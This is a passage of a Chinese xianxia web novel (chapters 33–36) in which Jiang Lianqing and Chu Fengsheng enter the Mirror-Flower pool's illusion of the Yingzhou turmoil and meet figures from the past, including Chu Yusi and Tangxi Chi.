云外信是一面巴掌大小的镜子,用于代替青鸟传言的,更为简洁也更方便携带。
有句诗不是叫“青鸟不传云外信”?
有这传音镜子的,谁还要用青鸟传信啊?
但在这千年之前,应该还没有云外信这样的东西,毕竟……楚逢生回想起来还有点羞耻。
这云外信出自自己的老祖宗,楚惊鸿之手。大概再过两百年,她便能造出来了。
怪不得说到明月楼他觉得如此亲切,原来是将离阁前身。将离阁的发展史也是奇了,掌权人学什么的都有。
器修剑修刀修阵修……偏偏到了
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他这一代,必须得是个医修。
“咳咳……什么云外信?”楚逢生决定装傻。
姜涟清:“不要偷奸耍滑。”
楚逢生:“冤枉啊。”
章窈漪抬头,眼眸清澈:“我作证,他刚刚真的说了‘云外信’三个字哦。”
楚逢生:“……”
屋漏偏逢连夜雨。
内心挣扎许久,他还是妥协了:“云外信是一面小镜子,用于通讯,不过现在还没有这个东西。”
“好了好了,主要疑点在,这个人身份绝对不简单。”
姜涟清:“……你要知道,人是会为了利益卖自己也不会用的东西的。”
“哎呀真有疑点。”楚逢生又说,“棠溪迟脖子上那块红绳系着的玉佩,和这魂玉也一模一样。”
姜涟清闻言一怔,开始回想方才在明月楼内的人。似乎……确实是在脖子上挂了一块玉佩。
章窈漪思考片刻,言:“但大师兄的那一块魂玉是已经用过的,咒解则……”
意识到此处不寻常,她惊呼出声:“不对!”
“上面的纹路是绛霜啊,连接灵魂之咒法会显现与之相关之物,是绛霜,就代表同死共生咒的。”
姜涟清:“按理来说,同生共死咒不是……”同死共生咒的解法不是同死吗?
章窈漪微微摇头:“这我便不知了,若大师兄是夏期所寄生之人,那定是即墨逾做了什么。”
“还是同死共生咒,但肯定不完全符合你我所了解到的同死共生咒。”
姜涟清顿觉心惊:“可是不还是要死吗?肯定会死一个的,那是谁死了?”
月上天幕,繁星显现。
此时街上行人稀少,一时寂静。
如果一定会死一个,那是谁死了呢?他们都不知道。
可绝不会是无辜的普通人。
得出答案仿佛轻而易举,但谁也不敢说出。为什么又凭什么呢?单凭挚友二字吗?
即墨逾给人的第一印象,便是一城之主沉稳冷静明事理,怎么看都不该如此……
如此什么呢?疯狂吗?
过于荒谬了。
半晌,姜涟清扶额叹息一声,决心先做些正事:“好了,我们现在还是先去绝音楼吧。”
“他们两个什么事,还轮不到我们猜。”
*
潺潺流水声从树林间传来,月黑风高,是时不时还能在林间看到黑影掠过。
若是换个胆子小的没准便不敢走了,但楚白可不怕这怕那的。
窸窸窣窣的声音从未停止,他隐约知道有什么东西在向他靠近。
不过无所谓,反正应付的来。
他边走着,便画了一张传音符,准备好后便朝着黄符说道:“姑奶奶,您来的再慢点不止寻不到哥,连弟弟都没了,咱俩直接绝音楼见。”
停顿一下,他补充:“我保证没有虚言哈,你别过来就对着我三十大板。”
说完他将黄符一甩,黄符便凭空消失了。
林里的东西终于要有所动作了。
他听见了粗重的呼吸声。
楚白一翻白眼,想不明白未开智的小妖怎么也敢想着对修士下手。
他不想赖杀无辜,没空也没理陪着恼。
于是楚白不再掩饰修为,化神期的灵力威压直直朝着林间黑影而去。
一声狼嚎从林间传出,惨惨戚戚。楚白收了灵力,窸窣声又起,但这次是朝着他反方向去的。
月色下,他白衣猎猎,眼神锐利。
33. chapter.33镜花
银色瀑布飞泻而下,拦住了行人去路。
月亮刚刚睡去,太阳还未完全醒来,黎明时分华光微亮,竖挂流水澄明如镜,由一片沉静的潭接住。
“走过这道瀑布,就是绝音楼了。”章窈漪抬头,看着高悬的流水,不禁有些紧张。
她上一次来绝音楼,其实是盈洲乱之时,那时盈洲不太平,毫无心思欣赏绝音楼外这极美的瀑布。
飞流直下,在潭面溅起水花。
姜涟清迟疑:“走过?”
“这看着……”看着这无波无纹的水面,深不见底,她有点犹豫,“这要怎么走过去?”
章窈漪思索一番:“如果我没记错的话……”
她踏出一只脚,悬空在潭面上,轻轻落下:“应该是,可以直接走的。”
一脚落下,她稳稳地踩在了潭面上,却一点波澜都未曾浮起。
倒是奇了,世间竟有这般奇特的潭水。
看来人还是要多出来走走,见见以往不曾见过的事物。
章窈漪两只脚都踏上潭面,走了几步给二人展示。
“看,就是这样~我没记错!”小姑娘莞尔一笑。
楚逢生不疑有他,垂眸看了一眼潭水便踩了上去,直直向瀑布走去。
看着两人都踩在潭水上,姜涟清自然也没有不跟上的道理。
嗒……
在她走上潭面时,脑海里突然响起一声清脆的响声,像是石子落进水面的声音。
一圈圈浅浅的涟漪,以她的脚为中心散开,却小到几乎可以忽略不计。
姜涟清又踩上一只脚,整个人都立在潭水上。
嗒……
又一圈涟漪泛起。
姜涟清觉得,这不是她的错觉,但这是什么声音?
虽然心中有疑惑,但眼见二人距离那瀑布愈来愈近,她还是要快点跟上才是。
这样想着,她小跑着,朝着瀑布的方向去。
嗒,嗒,嗒……
嗒嗒,嗒……
声音随着她的脚步越来越清晰。
可马上便要到那处水帘,姜涟清便一鼓作气,硬着头皮迎了上去。
章窈漪看着这瀑布,召出截昙,一剑断流,斩出一道去路来。
楚逢生一挑眉:“嚯,这么厉害。”
章窈漪眼睛都不眨一下:“那是自然,我修炼很努力的好吗?”
这下路都明晰,楚逢生回头要去寻那个青色身影:“涟,清……?”
可一回头,却只看到数圈涟漪,薄雾弥漫,散着荧荧的紫光。
在太阳完全升起之前,紫色的光辉隐去潭上景象。
下一刻,耀眼的日光洒落,云消雾散,潭上却没了他想看见的人。
章窈漪心下一惊:“涟清姐姐呢?这是怎么回事?”
楚逢生蹙眉,百思不得其解其中原理:“我也想知道这是怎么回事?这没道理我们都能过得来,她过不来吧?”
“这算什么?”
“因为被筛选掉了。”一清丽高扬的女声传来,有一黑衣女子凌波,几步越过清潭落到二人跟前。
此人眼角上挑,一双桃花眼迷人醉目,昳丽的长相有种攻击性,却格外显得神采奕奕,气质高傲。
楚惊鸿也没想过居然能这么巧。
“知道镜花水月吗?不巧了,这就是绝音楼在外所设的镜花水月。在太阳真正升起之前,所有不符合标准之人都会被拖进幻境里。”
楚惊鸿一想到章窈漪给镜花水月设置的幻境具体是为何物,便觉恐怖如斯。
“这姑娘运气不好,恰好撞上这样一个适合,不过她肯定会平安出来的,若是三日不出,章流漪也会亲自出手将她带回来,不要担心。”
“这幻境里的故事……”楚惊鸿轻笑,看似不甚在意,眉眼间那抹苦涩一笑带过,“现在来绝音楼的人,几乎求的都是一种答案。”
“寻亡人遗事。”
*
在她快赶到瀑布时,潭面突然飘起泛着荧光的紫雾。
霎时,脚下平滑的水面一下子真成了普通的水,浸湿了她的双脚。
察觉到不对,姜涟清立刻喊:“楚逢生!不要走了!”
可却没有丝毫回应。
然这迷雾太浓,她压根看不清前方。这下她有点悟了,这声音怕是只争对了她一个人。
虽然想不明白原因,但此时也不可能受到回音了。
刺骨的冰凉让她再走不动半步。
姜涟清正欲召出夜阑珊破开缠住她脚不放的潭水,可紫色的雾霾却让人昏昏欲睡,意识逐渐模糊。
在她还存有最后一丝意识时,潭水没过了头顶。
当她再次醒来时,躺在一面平静水面上,却并非是绝音楼前那潭水。
这水是温热的。
她在水池中央坐起,看见一黑色人影缓步朝这里走来。
那人见她起身,弯唇一笑:“欸,姑娘您醒了啊?”
他走到池边蹲下。
“你好啊,不知姑娘芳名?我是楚予思,来自初日洲的医修。”楚予思与楚逢生的样貌几乎一致,甚至语气都没有任何区别,简直像了个十成十。
“楚某方才在绝音楼镜花潭偶然见到姑娘昏迷与那处,便擅作主张,经了绝音楼楼主同意,将姑娘带了过来。”
“嘿,说来有趣,章流漪这个刻薄女人居然说是我臆想,拜托我有眼睛不是瞎子。”
就连那根小辫上的红绳系法都完全一致。
“姑娘可还好些?”
姜涟清未答,轻轻点了点头,随后站起来,道:“现在是什么时候了?”
楚予思见她起来也便起来了,理所应当觉得她该是在问时辰。
“太阳刚刚升起的样子呢,卯时。”
楚予思没见过姜涟清这号人,就和突然出现似的,不免好奇:“姑娘可否告知楚某姓名?你也是为了妄洲邪祟而来吗?我一向很佩服你们这些救世之人。”
姜涟清:“姜涟清。什么叫也是为了妄洲邪祟?”
楚予思一摸下巴,琢磨着:“难道不是吗?盈洲之乱,妄洲邪祟到来,搅得盈洲人人自危苍生受难,吸引了不少心怀天下的仁义之士前来。姑娘不是因此而来,那是……?”
若不是为此而来,他实在想不明白还能抱有什么目的前来。
要知道现在的盈洲就是个灾厄聚集地,那个叫春望的邪祟无处不在,处处是他的眼。
这邪祟以杀人饮血为乐,放言要杀尽天下人,还真是令人毛骨悚然,不知有多少无辜百姓已经遭了他的毒手。
姜涟清一听此言觉着诧异。
盈洲之乱?
盈洲之乱持续了约莫三年,结束了大概七年了,现在怎么会是盈洲之乱的时期?
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再者,楚予思已死,身体里的灵魂都换作了楚逢生,眼前之人又是谁?
结合他方才的言论,章流漪章楼主说他是不是在臆想,是不是说明,在章流漪的眼中是看不到她的?
不然楚予思带着她这么大一个人回来,凭什么说楚予思在臆想?
越思越恐,现在到底是什么情况?
穿越时空?看起来不是,谁若是有这种能力那该是浮洲人,还得是浮洲南棠,盈洲绝音楼凭什么做到?
魂魄都丢了的死人复生?更不可能,虎家三兄弟亲自认证的楚予思已死,眼前躯体也并非由什么特殊材质制成,这她还看不出来吗?
现在她觉得,这里的一切或许都不是真实的。
姜涟清:“不,我就是为此而来。”
虽然她确定这一切都是虚幻,但无论如何,若此期间发生的一切都是真实的,她都能借此了解到当初盈洲乱的真相。
她想探究春望所言真假,看吴云贺盈洲行始终,以及最重要的一点……
盈洲之乱到底是如何结束的。
昼夜同天结束于阿墨的消亡,这若是无人知晓倒也罢了,偏偏连这都有人知道。
可直到现在一路走来,却没听过任何盈洲之乱的结局到底如何。按理来说,这让即墨逾如此出名,没道理只留下一句解决了。
如何解决,如何防再犯?
这都是问题。
还有妄洲邪祟。
已知盈洲之乱所谓“死去”的灵是冬愿,那为何“死去”的灵,会魂归故土?
有太多疑点,藏匿在这个秋天了。
“楚医师若是无事,可否带我出绝音楼?眼下盈洲大乱,正是用人之时。”姜涟清随口找了个理由,“毕竟听起来,好像只有你能看到我?”
这句话当然是唬他的,姜涟清只是觉得既然楚予思和楚逢生从里到外都这么像,有点诡异。
按理来说,这么像的,除非是同一个灵魂,不然人的性格绝对是有差异的。
若真是前世今生得跨越多少年……姜涟清不敢想。
楚逢生听到这话,表情呆滞一瞬,很快恢复如常:“哈哈。”他挠挠头:“当然可以啊姜姑娘。”
“那便谢过楚医师了。”
“这有什么好谢的?顺路的事,正好我也要出去,这不是出去之前先来确定一下姜姑娘你的状况。”
“楚医师有心了。”
姜涟清一边附和着一边跟着此人往外走,心中不忘吐槽:这人尴尬的动作也和楚逢生一模一样。
真不知道楚逢生原来的样子做这个动作是什么模样。这样一想,还有些感兴趣……
算了,迟早有一天,楚逢生会回到自己的身体里,总不能说到时候就不认识她了?
记忆是灵魂的,不是躯体的。
出了水池,她才发现这绝音楼所在之处是个世外桃源。
玉石建成的亭台楼阁,华丽而不失风雅,各色彩石有序排布,处处皆似话本中的天宫。
怪不得书里说,绝音楼富有并不只在护理自己的乐器上,和紫极洲那群握笔的不得相提并论。
反正,她只听说紫极洲的画修虽然为了保养自己爱笔每月要花出不少银钱,家里却可能空无一物。
读书人的命真苦。
当然,音修同样辛苦,苦练乐器也并非一朝一夕之事。
34. chapter.34水月
出了绝音楼便是那潭将她拖入此境的潭水,可她这次走上去后,再没有听到滴水之声,脚下也未起波澜。
真是神奇,也不知哪圈圈涟漪的原理为何。
楚予思双手背着身后,悠哉悠哉地领着人下山,不忘揪一片叶子放在嘴里叼着,整一副吊儿郎当模样。
“欸,姜姑娘,你是从哪里来的?”
楚予思突然发问。
“降星洲。”姜涟清回答,“怎么了吗?”
“嗷,不是。”楚予思摇摇头,“只是有点好奇而已。毕竟现在来盈洲的人鱼龙混杂的。”
“沧州的紫极洲的,云上洲的降星洲的……欸,对了。”
楚予思突然想起来一个人:“姜姑娘,你认识吴云贺吗?”
骤然听到熟悉的名字,姜涟清表情微愣。
认识的,怎么会不认识呢?自那天以后,她一直从别人口中听到二师兄的名字。
明明与他最最为相熟之人,该是她这个同宗同源的小师妹。
前面的楚予思还在絮絮叨叨:“吴云贺也是降星洲来的,我从来没见过如此正义之士……我先前还以为降星洲人都不爱出世,还是我目光短浅了……”
“吴云贺做了什么吗?听你的话,似乎给你的印象不是一般好。”姜涟清问。
楚予思:“确实不是一般好啊。昙城大乱时就是他一个一个找回了失踪的人,唯一落下的是章流漪的不知道隔几辈的小侄女,不过这也不怪他,毕竟是妄洲邪祟……他一个金丹期已经很勉强了。”
“在这么多能人志士中,论修为能力,吴云贺定是比不上钟离既白这个狗嘴里吐不出象牙的东西,论天赋和即墨棠溪也没法相同比较。”
“可说为人,那可比他们好太多了,我不是说没想到他是少有的正义之士吗?他做的事只求一个正确,明明不是无情道却绝不徇私。”
“他只要一个正确。”楚予思感慨,“这样的人,实在是正派标杆啊。”
“哎呀所以,姜姑娘认识吴云贺吗?他是不是在降星洲就这般有名?”
正派标杆,大义凛然,只为一个正确答案。
这是楚予思给予的,给吴云贺的判定词。
姜涟清很难讲述现在的心情是如何。蓦然从他人口中听到逝者的曾经,难过吗?惆怅吗?
姜涟清:“认识的,归谕门的二师兄嘛,和归谕门的大师兄谢砚声齐名,降星洲谁人不知谁人不晓?”
楚予思:“既然如此,那姑娘是师出何门?”
姜涟清:“不过一漂泊无依的散修罢了,此番前来盈洲乃是不忍邪祟作祟,想要尽一份绵薄之力。”
一路上有话说,连路程都短了,不一会便到了山下。
荒草萋萋,火烧火燎的痕迹遍地,姜涟清不合时宜地响起了沧洲那溪边,被焚烧殆尽的芳草。
若说她见到的盈洲山清水秀芳华遍地,那这个秋日的盈洲,不,是这三年以来的盈洲,就是这荒芜模样。
好比人间战乱时的景象。
简直……
还未等她联想到更多,一声呼喊忽然出现,那声音,这些天来再熟悉不过。
一黑衣男子从一旁枯萎的杂树中钻出,也不知是通过何处而来。
“涟清!”
虽然时间没有过去很久,但再次见他,姜涟清莫名有种心安之感。
在这不属于她的时空里,他与她是唯二的源自未来。
“楚逢生?你也掉进来了?”姜涟清最担心的还是章窈漪一个人在外面要怎么办,“窈窈呢?”
楚逢生吐掉嘴里不知何时吃进去的杂草:“她好着呢,和她的好阿姊正在上演姊妹情深。”
“我实在是有点放心不下,仔细想想还是求章楼主把我也放进来了。”
“不过……”他眯起眼,扫过姜涟清身边那个与自己长得几乎一模一样之人,“这位是?”
楚予思看见与自己长相如此雷同之人自然是震惊的,长相着装发饰到一整个身形,宛若镜像。
楚予思一翻白眼:“我还没问你是谁呢兄弟,倒先问候上我了?”
楚逢生一听这话也翻了个白眼回去:“那又如何?我不过担心我的同伴被莫名其妙之人拐骗而已,毕竟你长得确实像我。”
楚予思:“我长得像你?你也真说得出口,有头有脸之人谁不知道我楚予思长什么样?”
“呵呵。”楚逢生一听这名字就觉着无语。
楚予思确实是死了,他也知道这是幻境,这人出现在这里只能说明楚予思也参与了当初盈洲乱。
但他着实没想到,楚予思是这样一个讨人厌的性格,与自己别无二致。
照即墨逾的说法,楚予思是他的前世,他是楚予思的今生。
没想到前世今生都一个讨人厌的性格,亏他之前还觉得史书上的楚予思伟大的不得了,是苍生道第一人。
“我不知道,又如何?”
楚予思一阵无言,觉得和楚逢生继续争辩已经没有意义了。于是便将头一转,企图寻求姜涟清的帮助:“姜姑娘,你同伴说话是不是有点太难听了?”
姜涟清:“……”
她实在不明白这两个人为什么会莫名其妙吵起来,不就是长得堪比双生子?
姜涟清轻咳两声:“我觉得你们纠结这个没有意义。”
楚逢生听话就跟:“我涟清姐姐说的对。”
楚予思看着这个和自己连声音都一样的人喊出那两个字,顿时浑身起了鸡皮疙瘩:“咦~——”
他对楚惊鸿从来直呼大名,即便是亲姐弟也未曾喊过她姐姐。
这称呼未免太过肉麻,他现在觉得自己和面前这位一点也不像了。
姜涟清本就只想跟着楚予思下山罢了,此时是时候分道扬镳。
毕竟她没办法感同身受地经历这一切,这里的一切都是已经发生之事。
已经发生的事,她无论如何也不可能回溯时间去更改,且不说她没有这份能力,就是有也不会做出这种有违天道之事。
姜涟清:“楚医师,既然我的同伴已经到了,那我也不多叨扰,你有什么要紧之事还是快些去做吧。”
楚予思不至于听不出她的言外之意,虽不算情愿,但他也没那么厚脸皮硬插进人家同伴情里。
毕竟这二人更为相熟。
楚予思点头:“那我便先行一步了姜姑娘。”
话不多言,楚予
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思习惯性地从自己的小药匣里拿出一株通体白色的仙草,在手上止不住地把玩。
姜涟清看这越行越远的身影,总觉得有既视感——楚逢生有事没事就喜欢拿着枯木逢春玩。
等人完全走远,姜涟清第一句话便是:“若不是我知道楚予思绝对已经没有还魂可能了,我还以为你在骗我呢。”
楚逢生一时不解:“我骗你什么?”
姜涟清:“你原来的脸和楚予思像不像暂且不论,你们的性格很像哎。”
楚逢生五雷轰顶,试图撇清关系:“哪里像了?”
姜涟清:“我刚见他他就明里暗里内涵章流漪是不是眼睛瞎了,我第一次见你你就问候人家的家人。”
楚逢生:“……”
楚逢生:“能不能让这一茬过去?求你了姐姐。”
他一想到这些话被姜涟清听个正着,就像就地挖个地缝钻下去。
姜涟清偷偷笑了两下,眉眼弯弯:“可是,真的很有意思嘛?你原来的样子是什么样的啊?”
他原来和样子和楚予思别无二致。
楚逢生想把话题拐到正轨之上:“哎呀,涟清姐姐,你先听我说点别的好不好?”
“嗯。”姜涟清一点头,“你要说的和这个……幻境,有关吗?”
楚逢生诧异:“你怎么知道?”
姜涟清:“废话,我知道楚予思死了啊,我睁开眼见到的第一个人就是他。”
听着这话,楚逢生心里一个劲的不舒服,但没表现出来任何。
——他还是决定的太晚了。
“哎……”楚逢生叹气,“好聪明啊,涟清姐姐。”
“那我说了,我们当时走的那水潭,是一个叫‘镜花潭’的大型法器,而与之相辅的是天上的月亮,在这一块的月亮,叫它‘水月’,也就是促使着法器生效的绝对因素。”
“能过镜花水月的,是筛选出的,知道或亲身经历过特定事件的人。”
“章楼主所设便是盈洲之乱。楚惊鸿告诉我,现在来绝音楼之人大多数是来寻故人遗事的,这便是原因了。”
姜涟清一皱眉:“所以说我误打误撞……不对,那你知道盈洲之乱?”
楚逢生一摆手:“我不知道啊!只是把我认成楚予思了,实际上再等一会,或许你就不会进这还原当时的幻境了,因为在太阳完全升起后就不生效了。”
“那我还真是运气不好。”姜涟清怎么也没想到居然是这样。
盈洲之乱若问起章窈漪具体如何她也是不知的,而楚逢生直接被认成楚予思。
她现在承认,她就是不想要楚逢生和楚予思混淆。
楚逢生就该是楚逢生,楚逢生就是楚逢生。
楚逢生:“所以我便求着进来了,毕竟我也很好奇,盈洲之乱到底发生了什么。”
“涟清,你来得比我早,有何头绪吗?”
姜涟清看着楚予思走去的方向:“去昙城,窈窈的家。”
“楚予思说我二师兄寻回了除了窈窈以外的,昙城所有人,而窈窈说,是棠溪迟救了她。”
“你说那此时的昙城……”她回头,清凌凌的眼眸满是认真。
“有棠溪迟吗?”
35. chapter.35昙城
进到秋天之后,昙花便渐渐枯萎。
枯黄的花叶垂落在地,残败的白花正泛黄发黑。
以昙花为著的昙城又到了万花凋谢之时。
与二人先前来时不同,七年前的昙城繁华褪去,整座城都蒙上一层灰色,悲戚色彩蔓延。
虽说按照楚予思的说法,昙城失踪的人几乎都已归家,但谁能想象他们在被绑架期间遭受了什么?
这般行径,要问姜涟清是哪一个邪祟,她也会脱口而出是夏期。
谁让夏期的追逐游戏苦人良久。
此番性情必然是夏期。
街上只有零星几人,一老妇抱着自己的小孙儿,急匆匆赶到街上,满面焦急慌张。她怀中的小女孩更是面色惨白,该是生了什么病。
天要弄人,一辆行驶急促的马车突然闯出,而那老妇步履蹒跚,眼瞧着便要被这车撞上!
可那马嘶吼一声,却未有要停下的样子。
姜涟清心头一急,即刻上前,试图将老人与孩子带离险境,可她一伸手便穿过了老人的身躯。
她一愣,下一刻,陌生的化神期灵力化作一道冰墙,挡在了老妇身前。
可奇怪的是,这座冰墙她竟触摸不到!
那马依旧没有停下来的预兆,像是失了疯,架坐上持缰绳之人在动荡中露出青灰的脸,明显已是死状。
一道冰蓝色的冰凉剑气袭来,一剑斩断疯马的脖子。
一蓝白衣裳闪至马前,一套动作行云流水,毫不犹豫。
楚逢生见此情形,发自内心感叹了一句:“这也装的太帅了。”
少年人将竖起的长发甩至身后,收起剑,快步走到老妇身前。
棠溪迟关切道:“老婆婆,您和您孙女没事吧?”
老妇原先吓得站在原地不敢动弹,只得将孙女护得再紧些,被救下后总算松了口气。
她苍老的声音哽咽:“谢谢你啊,仙人,这段时间要是没有你们,盈洲不知道要乱成什么样子。”
棠溪迟保持微笑:“这便是我等应做之事。”看着她怀里情况不好的女孩,他又言:“您的孙女是生病了吗?街上的医馆早些时候便关门了,若想看病,可以往昙城章家去。”
老妇一脸为难:“就是生个病,找个医馆便好,何必给章大善人一家添麻烦。”
棠溪迟伸手去碰老妇怀中女孩的额头:“唔,好烫……”
“婆婆,这恐怕并不是简单的发烧发热哦。”他嘴角的笑意隐去,“您还是快带着她去章府吧,我一友人便在那里,可为您的孙女看病。”
说着,棠溪迟召出拨云,取下剑穗,放进那女孩怀中。
“给他看这个,他自然会懂得。”
那剑穗上的红花,姜涟清现在已经无比熟悉了,这就是绛霜……看起来是绯玉所制。
老妇连忙道谢几声,便改了道,往余景桥方向去了。
姜涟清身前的冰墙丝丝瓦解,不一会便没了存在痕迹。楚逢生几步来到她身边,不由好奇:“嘶,不是说认识的人就可以看见吗?”
姜涟清:“我也是说嘛,他怎么好像看不见。”她确切得感觉到了那股强大的灵气,也感觉得到冰墙的严寒。
可她就是触之不及。
过去的一切都无法触及。
棠溪迟立在原地好一会没有动作,看着像是在想些什么。
姜涟清伸手勾了一下楚逢生的手心:“欸,你说他在想什么啊?那个小姑娘的怪病吗?”
楚逢生被这一勾,心跳快得他想死了。
他尽量装着自己正常,不动声色地将手背到身后:“这个病与风寒相似,持续高温后便会体温骤降,的的确确不是普通能患的。我没记错的话,好像叫……阴阳失调。”
“的确是因为一切特别情况,比如接触到了寒毒又接触到了热毒,两种毒素在体内周旋,不过是修仙界的寒毒热毒。”
姜涟清点点头示意自己知道了:“那确实不是轻易得的,不过,他到底在想点什么啊?”
“我在想,姑娘你,还有另一位楚医师,是什么存在哦~”棠溪迟施施然转身,拨云还没收回去,却已经挂上了标志性的漫不经心笑容。
姜涟清:“……”
楚逢生:“……”
棠溪迟提着拨云,灵力丝毫未收,任谁来了都能明白他没有放下戒备。
“楚予思现在人在芳华城,就他那个速度断然不可能出现在这里,所以……”他一剑指向楚逢生,“这位‘楚医师’,是何人?”
棠溪迟将剑一转,再指向姜涟清:“还有你,这位姑娘,似乎并非存在于现在之人呢。”
姜涟清迟疑了一会,还是没想要要不要实话实说。
非问她的话,她会说棠溪迟那种绝对好人的感觉不是假的,也不是个嘴巴不严的人。
可……这样对他来说荒谬的事,他会信了才怪吧?
姜涟清一时半会不知道怎么回答。
楚逢生就不管这么多了。
他直接上手握住拨云剑尖,和剑修比力气,直接推回去这种蠢事他肯定不会做,但给剑掉转个方向,棠溪迟应该不会建议。
现在剑尖指着的人又是楚逢生了。
楚逢生:“要指指我,别指她。”
棠溪迟:“嗯……也可以吧。”
楚逢生:“哦对了,我不是楚予思。”
“我当然知道你不是楚予思。”棠溪迟轻笑,“所以我才问你们是谁。”
姜涟清和楚逢生不由对视一眼,双方眼中的挣扎他们都懂。
但在棠溪迟眼里,这和眉目传情没什么两样。
他冷飕飕道:“楚惊鸿要是知道有人顶着她亲弟的脸,和一姑娘眉来眼去,她定然不会放过你的。”
楚逢生:“……”听起来他太奶年轻时脾气怪不好的。
楚逢生:“我叫楚逢生,至于我身边这位……”他不确定,现在的棠溪迟和吴云贺是否相识:“或许你在一个人口中听过?”
棠溪迟:“谁?”
楚逢生:“吴云贺。”
“吴云贺?”棠溪迟若有所思一会,乐了,“你该不会要说,这姑娘名叫姜涟清吧。”
姜涟清敛眸:“正是本人。”
棠溪迟:“不信。”
姜涟清:“?”
这一下子就猜对了,怎么还不信,连自己的猜测都否定吗?
她怎么没看出来棠溪迟居然是这样的人。
姜涟清:“那你把我二师兄拉出来见我吧。”
她有点想他了。
本来就是十余年未见的师兄,再见就是生死离别,血月灭门。
“我很想再见他一次。”
楚逢生一脸惊诧,眼神询问她就要这样托盘而出吗?这未免太……
为什么觉得这个人能理解?
他还是来晚了,没比别人先一步。
棠溪迟:“为什么是再?”
“在我来到盈洲时。”姜涟清鸦黑的睫毛轻颤,烟青色的眼怎么看都真诚,“我二师兄已经去了。”
“这里不是现实,而是一个虚假的幻境。”
棠溪迟:“哦?”
楚逢生见姜涟清就这般坦白,叹了口气继续补充:“就是绝音楼门口那个镜花潭,这东西怎么用的你总知道吧?”
棠溪迟:“确实。”
他收起拨云,冰凉的灵力悉数收回,寒凉
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之意终于退散。
“镜花潭,镜花水月……章流漪把什么放进去了呢?让我猜猜。”棠溪迟微微仰头,一副思考状。
“盈洲之乱吗。”他说。
虽听着是疑问,语气却无比肯定。
姜涟清点头:“对。”
“这样的话,我能理解了。也就是说我是个虚幻投影,你们是真人入境,那他不是楚予思怎么回事?”他指的是楚逢生。
楚逢生扶额,无奈说:“我也想知道我为什么会进楚予思的身体,不过楚予思后来真真死了,一点残魂都没有留下的那种。”
棠溪迟听完没有直接说话,沉默良久才开口:“楚惊鸿知道吗,她弟弟死了。”
尽管楚惊鸿和楚予思的姐弟关系着实难以评价,但好歹一母同胞,楚惊鸿不会完全不在意这个弟弟。
姜涟清:“应该不知道。他死了很久了,少说二十年,不过,现在看来似乎不尽然?”
棠溪迟:“……”这听起来当然不是很对,假设楚予思已经死了二十年,这两位是何时来盈洲的?
“你们是什么时候来盈洲的?”
“盈洲之乱后七年。”姜涟清答。
“哎……”棠溪迟一叹气,“好吧,我知道了,那或许你们能找到一个,他为什么会客死异乡的真相了。”
这话听着还怪熟悉的。
棠溪迟曾经也说,或许她能在盈洲找到一个春望为何选择吴云贺的答案。
“既然我看得见二位,想来在我现在所处时间的七年以后,我与二位是相识的。既然如此,想知道什么答案都可以跟着我。”
姜涟清一怔,可这看见的不会全面吧?盈洲之乱发生太多事了,而她想知道的是所有。
楚逢生:“你的意思是,你会对所有事情刨根问底吗?”
这倒是说出她的疑问了。
楚逢生真懂她的想法。
棠溪迟没料到他居然这样问,最终只是一声轻笑:“你可以这样觉得,不过能看出什么就只能看你们两个自己了。以及,不要告诉我关于盈洲乱的事。”
“要明白。”
“已经发生的事,是很难逆天改命的。”
“那是自然。”姜涟清觉得他多虑了,“我是卜修,不会妄想去做逆命改天之事。”
“我尊重每个人的命运选择。”
*
绝音楼,韶华阁。
红衣冷面的女人坐在主位,一黑衣女子她面前走来走去,不得安宁。
而她的不知道隔了几辈的侄女,就坐在一旁睁着眼睛,什么也不说。
楚惊鸿双手叉腰,上挑的桃花眼满是担忧:“钟离既白去死吧,把老娘骗来这里又给我玩失踪。”
“什么叫我的弟弟不是我弟弟了,我还以为什么呢?结果楚予思和我说不认识我,要气死我啊这小子?”
“还为个姑娘要进镜花潭,不知道在担心什么,都说了没有危险没有危险,两只耳朵堵上不管不顾就往前冲了,哈!”
章流漪看着她走来走去,只觉着头疼:“阿离不要着急,没准只是担心心上人呢?”
此言一出,楚惊鸿倒没什么特殊反应,章窈漪则是眼睛都瞪大了。
她听到了什么!
楚医师喜欢涟清姐姐?
虽然这踪迹也不是无处可寻,可还是……对冲击小孩子的心灵来说过于有冲击力了。
楚惊鸿眼珠一转,满面嫌弃:“还心上人?他要是会喜欢什么人真是让我开了眼了。”
章流漪不紧不慢道:“当初我也这样觉得。”
楚惊鸿:“什么意思?”
章流漪:“你会喜欢钟离既白真是让人开了眼了。”
36. chapter.36冬愿
楚惊鸿一听这话顿时不服气。
“我哪里看起来不喜欢他了?明明他眼盲心瞎看不出老娘的好!”她眉毛一挑,愤愤转身,发髻上新鲜的芍药香味淡淡。楚惊鸿垂眸:“傻子一个……谁嫌弃他了……”
嘴上再怎么骂他,相思泪酒之所以名为相思泪,到底都是那么个理由。
他要是还骂她蠢,她也认了。
看起来是有点中了爱情魔咒的样子,可这都是为了谁?若不是他东躲西藏……
楚惊鸿到底还是怪不下去。
当初谁也不知道,妄洲而来的邪祟是不完整的四个灵,拥有寄生他人灵魂的能力。
命运无常,世事难料……这四个字她已经听倦了。
楚惊鸿这七年以来,只是想要他回来而已。
没有人怪他,也没有人会嫌他,她钟离既白依旧会是百闻宗的“百闻不如一见”。
为什么不愿意回来了?
连她也不愿意见。
楚惊鸿:“他最好是没有骗我,不然我再也不会……算了,还是等吧。”
还是等他出来吧。
到时候,她就不玩口嫌体直的剧本了。
章窈漪听得云里雾里:“再也不会什么?”
楚惊鸿瞥她一眼,不甚在意道:“再也不会说他是天下第一人了。”
“再不出来,这天下第一人的位置还是乘早易主吧,我看棠溪即墨都很合适。”她终于转累了,坐在椅上,“当然,我还是觉得,钟离既白最厉害了。”
紫极洲天之骄子,百闻不如一见。
章流漪:“现在倒是不说他不知好歹自命不凡了,爱情真可怕。”
楚惊鸿:“哎呀你别说这个了,流漪,你给我解释个事呗?”
章流漪:“你问。”
楚惊鸿沉默了好一会,似乎在斟酌要用如何语序表明。
“谣传的,你的婚约,是和钟离既白,是怎么一回事?”
听到这话最紧张的是章窈漪。
她也想知道怎么回事!
还是那句话,她阿姊绝不会和心中有挚爱之人订婚的!如果是假,传谣者太该死了;如果是真,那阿姊肯定有自己的考量。
章流漪倒是不奇怪楚惊鸿这样问,但她有自己的计划。
“谣传的人就是我。”她痛快承认,“不过若要说为什么……”章流漪意味深长,薇颜浅笑:“阿离,人还没有到齐。”
人还未到齐。
戏剧不得开场。
*
昙城,章府。
“你的意思是说……”楚惊鸿围着姜涟清转了一圈,表情迟疑,“这位,是吴云贺亲师妹?”
